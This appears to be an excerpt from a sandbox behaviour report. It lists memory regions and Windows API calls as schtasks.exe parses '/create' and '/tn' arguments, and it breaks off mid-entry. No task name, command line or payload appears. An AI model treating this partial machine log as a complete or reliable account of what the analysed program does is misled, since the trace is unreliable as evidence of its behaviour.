region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 2118 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 2119 start_va = 0x7fffffdd000 end_va = 0x7fffffdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 2120 start_va = 0x7fffffdf000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdf000" filename = "" Region: id = 2121 start_va = 0x180000 end_va = 0x3affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000180000" filename = "" Region: id = 2122 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 0 entry_point = 0x76b15340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2123 start_va = 0x7fefcd20000 end_va = 0x7fefcd8bfff monitored = 0 entry_point = 0x7fefcd22780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 2124 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2125 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2126 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 2127 start_va = 0x50000 end_va = 0xb6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2128 start_va = 0x7fefec70000 end_va = 0x7fefed0efff monitored = 0 entry_point = 0x7fefec725a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 2129 start_va = 0x76c20000 end_va = 0x76d19fff monitored = 0 entry_point = 0x76c3a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 2130 start_va = 0x7fefd420000 end_va = 0x7fefd486fff monitored = 0 entry_point = 0x7fefd42b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 2131 start_va = 0x7fefeb60000 end_va = 0x7fefeb6dfff monitored = 0 entry_point = 0x7fefeb61080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 2132 start_va = 0x7fefe910000 end_va = 0x7fefe9d8fff monitored = 0 entry_point = 0x7fefe98a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 2133 start_va = 0x7fefd4e0000 end_va = 0x7fefd6e2fff monitored = 0 entry_point = 0x7fefd503330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 2134 start_va = 0x7fefe680000 end_va = 0x7fefe7acfff monitored = 0 entry_point = 0x7fefe6ced50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 2135 start_va = 0x7fefeb70000 end_va = 0x7fefec46fff monitored = 0 entry_point = 0x7fefeb73274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 2136 start_va = 0x7fefe890000 end_va = 0x7fefe900fff monitored = 0 entry_point = 0x7fefe8a1e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 2137 start_va = 0x7fefa290000 end_va = 0x7fefa299fff monitored = 0 entry_point = 0x7fefa29260c region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 2138 start_va = 0x180000 end_va = 0x26ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000180000" filename = "" Region: id = 2139 start_va = 0x2b0000 end_va = 0x3affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002b0000" filename = "" Region: id = 2140 start_va = 0x3b0000 end_va = 0x4affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003b0000" filename = "" Region: id = 2141 start_va = 0xc0000 end_va = 0xe8fff monitored = 0 entry_point = 0xc1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2142 start_va = 0x4b0000 end_va = 0x637fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004b0000" filename = "" Region: id = 2143 start_va = 0xc0000 end_va = 0xe8fff monitored = 0 entry_point = 0xc1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2144 start_va = 0x7feff000000 end_va = 0x7feff02dfff monitored = 0 entry_point = 0x7feff001010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2145 start_va = 0x7fefed10000 end_va = 0x7fefee18fff monitored = 0 entry_point = 0x7fefed11064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 2146 start_va = 0x640000 end_va = 0x7c0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000640000" filename = "" Region: id = 2147 start_va = 0x7d0000 end_va = 0x1bcffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007d0000" filename = "" Region: id = 2148 start_va = 0xc0000 end_va = 0xd1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\System32\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\schtasks.exe.mui") Region: id = 2149 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 2150 start_va = 0xe0000 end_va = 0xe0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 2151 start_va = 0x7fefbe30000 end_va = 0x7fefbe3bfff monitored = 0 entry_point = 0x7fefbe31064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 2152 start_va = 0x1bd0000 end_va = 0x1e9efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2153 start_va = 0x180000 end_va = 0x1fcfff monitored = 0 entry_point = 0x18cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 2154 start_va = 0x260000 end_va = 0x26ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000260000" filename = "" Region: id = 2155 start_va = 0x180000 end_va = 0x1fcfff monitored = 0 entry_point = 0x18cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 2156 start_va = 0x7fefcb60000 end_va = 0x7fefcb6efff monitored = 0 entry_point = 0x7fefcb61010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 2157 start_va = 0x7fefb5c0000 end_va = 0x7fefb615fff monitored = 0 entry_point = 0x7fefb5cbbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 2158 start_va = 0x1ea0000 end_va = 0x200ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001ea0000" filename = "" Region: id = 2159 start_va = 0x180000 end_va = 0x25efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000180000" filename = "" Region: id = 2160 start_va = 0x7fefec50000 end_va = 0x7fefec6efff monitored = 0 entry_point = 0x7fefec560e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 2161 start_va = 0x2080000 end_va = 0x20fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002080000" filename = "" Region: id = 2162 start_va = 0x7fffffdb000 end_va = 0x7fffffdcfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 2165 start_va = 0x7fefe7b0000 end_va = 0x7fefe88afff monitored = 0 entry_point = 0x7fefe7d0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 2166 start_va = 0xf0000 end_va = 0xf0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000f0000" filename = "" Region: id = 2167 start_va = 0x7fefef50000 end_va = 0x7fefefe8fff monitored = 0 entry_point = 0x7fefef51c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 2168 start_va = 0x270000 end_va = 0x270fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000270000" filename = "" Region: id = 2169 start_va = 0x7fefa9d0000 end_va = 0x7fefaaf6fff monitored = 0 entry_point = 0x7fefa9d10ec region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 2170 start_va = 0x7fefcb30000 end_va = 0x7fefcb54fff monitored = 0 entry_point = 0x7fefcb39658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 2210 start_va = 0x7fefb150000 end_va = 0x7fefb184fff monitored = 0 entry_point = 0x7fefb151064 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Thread: id = 119 os_tid = 0xf18 [0133.326] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x17faa0 | out: lpSystemTimeAsFileTime=0x17faa0*(dwLowDateTime=0x1e78a020, dwHighDateTime=0x1d8a92a)) [0133.326] GetCurrentProcessId () returned 0xf14 [0133.326] GetCurrentThreadId () returned 0xf18 [0133.326] GetTickCount () returned 0x1386c5f [0133.326] RtlQueryPerformanceCounter (in: lpPerformanceCount=0x17faa8 | out: lpPerformanceCount=0x17faa8*=2061218920341) returned 1 [0133.326] GetModuleHandleW (lpModuleName=0x0) returned 0xff120000 [0133.326] __set_app_type (_Type=0x1) [0133.326] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff14972c) returned 0x0 [0133.326] __wgetmainargs (in: _Argc=0xff161240, _Argv=0xff161250, _Env=0xff161248, _DoWildCard=0, _StartInfo=0xff16125c | out: _Argc=0xff161240, _Argv=0xff161250, _Env=0xff161248) returned 0 [0133.327] _onexit (_Func=0xff152ab0) returned 0xff152ab0 [0133.327] _onexit (_Func=0xff152ac4) returned 0xff152ac4 [0133.327] _onexit (_Func=0xff152afc) returned 0xff152afc [0133.327] _onexit (_Func=0xff152b58) returned 0xff152b58 [0133.328] _onexit (_Func=0xff152b80) returned 0xff152b80 [0133.328] _onexit (_Func=0xff152ba8) returned 0xff152ba8 [0133.340] _onexit (_Func=0xff152bd0) returned 0xff152bd0 [0133.384] _onexit (_Func=0xff152bf8) returned 0xff152bf8 [0133.384] _onexit (_Func=0xff152c20) returned 0xff152c20 [0133.384] _onexit (_Func=0xff152c48) returned 0xff152c48 [0133.384] _onexit (_Func=0xff152c70) returned 0xff152c70 [0133.384] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0133.384] WinSqmIsOptedIn () returned 0x0 [0133.385] GetProcessHeap () returned 0x2b0000 [0133.385] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x18) returned 0x2cb940 [0133.385] SetLastError (dwErrCode=0x0) [0133.385] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0133.385] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0133.385] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0133.385] VerifyVersionInfoW (in: lpVersionInformation=0x17f260, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x17f260) returned 1 [0133.385] GetProcessHeap () returned 0x2b0000 [0133.385] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x18) returned 0x2cb960 [0133.385] lstrlenW (lpString="") returned 0 [0133.385] GetProcessHeap () returned 0x2b0000 [0133.385] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x2) returned 0x2cb980 [0133.385] GetProcessHeap () returned 0x2b0000 [0133.385] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x20) returned 0x2c58e0 [0133.385] GetProcessHeap () returned 0x2b0000 [0133.385] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x18) returned 0x2cb9a0 [0133.385] GetProcessHeap () returned 0x2b0000 [0133.385] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x20) returned 0x2c5910 [0133.386] GetProcessHeap () returned 0x2b0000 [0133.386] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x20) returned 0x2c5940 [0133.386] GetProcessHeap () returned 0x2b0000 [0133.386] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x20) returned 0x2c5970 [0133.386] GetProcessHeap () returned 0x2b0000 [0133.386] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x20) returned 0x2c59a0 [0133.386] GetProcessHeap () returned 0x2b0000 [0133.386] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x18) returned 0x2cb9c0 [0133.386] GetProcessHeap () returned 0x2b0000 [0133.386] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x20) returned 0x2c59d0 [0133.386] GetProcessHeap () returned 0x2b0000 [0133.386] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x20) returned 0x2c5a00 [0133.386] GetProcessHeap () returned 0x2b0000 [0133.386] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x20) returned 0x2c5a30 [0133.386] GetProcessHeap () returned 0x2b0000 [0133.386] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x20) returned 0x2c5a60 [0133.386] GetProcessHeap () returned 0x2b0000 [0133.386] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x18) returned 0x2cb9e0 [0133.386] GetProcessHeap () returned 0x2b0000 [0133.386] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x20) returned 0x2c5a90 [0133.386] GetProcessHeap () returned 0x2b0000 [0133.386] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x20) returned 0x2c5ac0 [0133.386] GetProcessHeap () returned 0x2b0000 [0133.386] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x20) returned 0x2c5af0 [0133.386] GetProcessHeap () returned 0x2b0000 [0133.386] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x20) returned 0x2c5b20 [0133.386] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0133.386] SetLastError (dwErrCode=0x0) [0133.386] GetProcessHeap () returned 0x2b0000 [0133.387] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x20) returned 0x2c5b50 [0133.387] GetProcessHeap () returned 0x2b0000 [0133.387] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x20) returned 0x2c5b80 [0133.387] GetProcessHeap () returned 0x2b0000 [0133.387] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x20) returned 0x2c5bb0 [0133.387] GetProcessHeap () returned 0x2b0000 [0133.387] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x20) returned 0x2c5be0 [0133.387] GetProcessHeap () returned 0x2b0000 [0133.387] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x20) returned 0x2c5c10 [0133.387] GetProcessHeap () returned 0x2b0000 [0133.387] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x18) returned 0x2cba00 [0133.387] _memicmp (_Buf1=0x2cba00, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.387] GetProcessHeap () returned 0x2b0000 [0133.387] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x208) returned 0x2cbba0 [0133.387] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2cbba0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0133.387] LoadLibraryExA (lpLibFileName="VERSION.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefbe30000 [0133.390] GetProcAddress (hModule=0x7fefbe30000, lpProcName="GetFileVersionInfoSizeW") returned 0x7fefbe315fc [0133.391] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0133.391] GetProcessHeap () returned 0x2b0000 [0133.391] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x74e) returned 0x2cc150 [0133.391] GetProcAddress (hModule=0x7fefbe30000, lpProcName="GetFileVersionInfoW") returned 0x7fefbe31614 [0133.391] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x2cc150 | out: lpData=0x2cc150) returned 1 [0133.392] GetProcAddress (hModule=0x7fefbe30000, lpProcName="VerQueryValueW") returned 0x7fefbe315e0 [0133.392] VerQueryValueW (in: pBlock=0x2cc150, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x17f348, puLen=0x17f3b0 | out: lplpBuffer=0x17f348*=0x2cc4ec, puLen=0x17f3b0) returned 1 [0133.395] _memicmp (_Buf1=0x2cba00, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.395] _vsnwprintf (in: _Buffer=0x2cbba0, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x17f328 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0133.395] VerQueryValueW (in: pBlock=0x2cc150, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x17f3b8, puLen=0x17f3a8 | out: lplpBuffer=0x17f3b8*=0x2cc318, puLen=0x17f3a8) returned 1 [0133.395] lstrlenW (lpString="schtasks.exe") returned 12 [0133.395] lstrlenW (lpString="schtasks.exe") returned 12 [0133.395] lstrlenW (lpString=".EXE") returned 4 [0133.395] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0133.396] lstrlenW (lpString="schtasks.exe") returned 12 [0133.396] lstrlenW (lpString=".EXE") returned 4 [0133.396] _memicmp (_Buf1=0x2cba00, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.396] lstrlenW (lpString="schtasks") returned 8 [0133.396] GetProcessHeap () returned 0x2b0000 [0133.396] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x20) returned 0x2c5d00 [0133.396] GetProcessHeap () returned 0x2b0000 [0133.396] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x20) returned 0x2cca60 [0133.397] GetProcessHeap () returned 0x2b0000 [0133.397] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x20) returned 0x2cca90 [0133.397] GetProcessHeap () returned 0x2b0000 [0133.397] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x20) returned 0x2ccac0 [0133.397] GetProcessHeap () returned 0x2b0000 [0133.397] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x18) returned 0x2cba20 [0133.397] _memicmp (_Buf1=0x2cba20, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.397] GetProcessHeap () returned 0x2b0000 [0133.397] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0xa0) returned 0x2cbfa0 [0133.397] GetProcessHeap () returned 0x2b0000 [0133.397] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x20) returned 0x2ccaf0 [0133.397] GetProcessHeap () returned 0x2b0000 [0133.397] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x20) returned 0x2ccb20 [0133.397] GetProcessHeap () returned 0x2b0000 [0133.397] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x20) returned 0x2ccb50 [0133.397] GetProcessHeap () returned 0x2b0000 [0133.397] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x18) returned 0x2cba40 [0133.397] _memicmp (_Buf1=0x2cba40, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.397] GetProcessHeap () returned 0x2b0000 [0133.397] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x200) returned 0x2cd230 [0133.397] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x2cd230, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0133.397] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0133.398] GetProcessHeap () returned 0x2b0000 [0133.398] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x30) returned 0x2c7a00 [0133.398] _vsnwprintf (in: _Buffer=0x2cbfa0, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x17f328 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0133.398] GetProcessHeap () returned 0x2b0000 [0133.398] GetProcessHeap () returned 0x2b0000 [0133.398] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cc150) returned 1 [0133.398] GetProcessHeap () returned 0x2b0000 [0133.398] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cc150) returned 0x74e [0133.398] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cc150 | out: hHeap=0x2b0000) returned 1 [0133.398] SetLastError (dwErrCode=0x0) [0133.398] GetThreadLocale () returned 0x409 [0133.398] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0133.399] lstrlenW (lpString="?") returned 1 [0133.399] GetThreadLocale () returned 0x409 [0133.399] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0133.399] lstrlenW (lpString="create") returned 6 [0133.399] GetThreadLocale () returned 0x409 [0133.399] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0133.399] lstrlenW (lpString="delete") returned 6 [0133.399] GetThreadLocale () returned 0x409 [0133.399] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0133.399] lstrlenW (lpString="query") returned 5 [0133.399] GetThreadLocale () returned 0x409 [0133.399] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0133.399] lstrlenW (lpString="change") returned 6 [0133.399] GetThreadLocale () returned 0x409 [0133.399] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0133.399] lstrlenW (lpString="run") returned 3 [0133.399] GetThreadLocale () returned 0x409 [0133.399] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0133.399] lstrlenW (lpString="end") returned 3 [0133.399] GetThreadLocale () returned 0x409 [0133.399] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0133.399] lstrlenW (lpString="showsid") returned 7 [0133.399] GetThreadLocale () returned 0x409 [0133.399] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0133.400] SetLastError (dwErrCode=0x0) [0133.400] SetLastError (dwErrCode=0x0) [0133.400] lstrlenW (lpString="/create") returned 7 [0133.400] lstrlenW (lpString="-/") returned 2 [0133.400] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0133.400] lstrlenW (lpString="?") returned 1 [0133.400] lstrlenW (lpString="?") returned 1 [0133.400] GetProcessHeap () returned 0x2b0000 [0133.400] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x18) returned 0x2cc150 [0133.400] _memicmp (_Buf1=0x2cc150, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.400] GetProcessHeap () returned 0x2b0000 [0133.400] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0xa) returned 0x2cc170 [0133.400] lstrlenW (lpString="create") returned 6 [0133.400] GetProcessHeap () returned 0x2b0000 [0133.400] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x18) returned 0x2cc190 [0133.400] _memicmp (_Buf1=0x2cc190, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.400] GetProcessHeap () returned 0x2b0000 [0133.400] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x14) returned 0x2cc1b0 [0133.400] _vsnwprintf (in: _Buffer=0x2cc170, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17f338 | out: _Buffer="|?|") returned 3 [0133.400] _vsnwprintf (in: _Buffer=0x2cc1b0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x17f338 | out: _Buffer="|create|") returned 8 [0133.400] lstrlenW (lpString="|?|") returned 3 [0133.400] lstrlenW (lpString="|create|") returned 8 [0133.400] SetLastError (dwErrCode=0x490) [0133.400] lstrlenW (lpString="create") returned 6 [0133.400] lstrlenW (lpString="create") returned 6 [0133.400] _memicmp (_Buf1=0x2cc150, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.400] GetProcessHeap () returned 0x2b0000 [0133.401] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cc170) returned 1 [0133.401] GetProcessHeap () returned 0x2b0000 [0133.401] RtlReAllocateHeap (Heap=0x2b0000, Flags=0xc, Ptr=0x2cc170, Size=0x14) returned 0x2cc1d0 [0133.401] lstrlenW (lpString="create") returned 6 [0133.401] _memicmp (_Buf1=0x2cc190, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.401] _vsnwprintf (in: _Buffer=0x2cc1d0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x17f338 | out: _Buffer="|create|") returned 8 [0133.401] _vsnwprintf (in: _Buffer=0x2cc1b0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x17f338 | out: _Buffer="|create|") returned 8 [0133.401] lstrlenW (lpString="|create|") returned 8 [0133.401] lstrlenW (lpString="|create|") returned 8 [0133.401] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0133.401] SetLastError (dwErrCode=0x0) [0133.401] SetLastError (dwErrCode=0x0) [0133.401] SetLastError (dwErrCode=0x0) [0133.401] lstrlenW (lpString="/tn") returned 3 [0133.401] lstrlenW (lpString="-/") returned 2 [0133.401] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0133.401] lstrlenW (lpString="?") returned 1 [0133.401] lstrlenW (lpString="?") returned 1 [0133.401] _memicmp (_Buf1=0x2cc150, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.401] lstrlenW (lpString="tn") returned 2 [0133.401] _memicmp (_Buf1=0x2cc190, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.401] _vsnwprintf (in: _Buffer=0x2cc1d0, _BufferCount=0x4, _Format="|%s|", 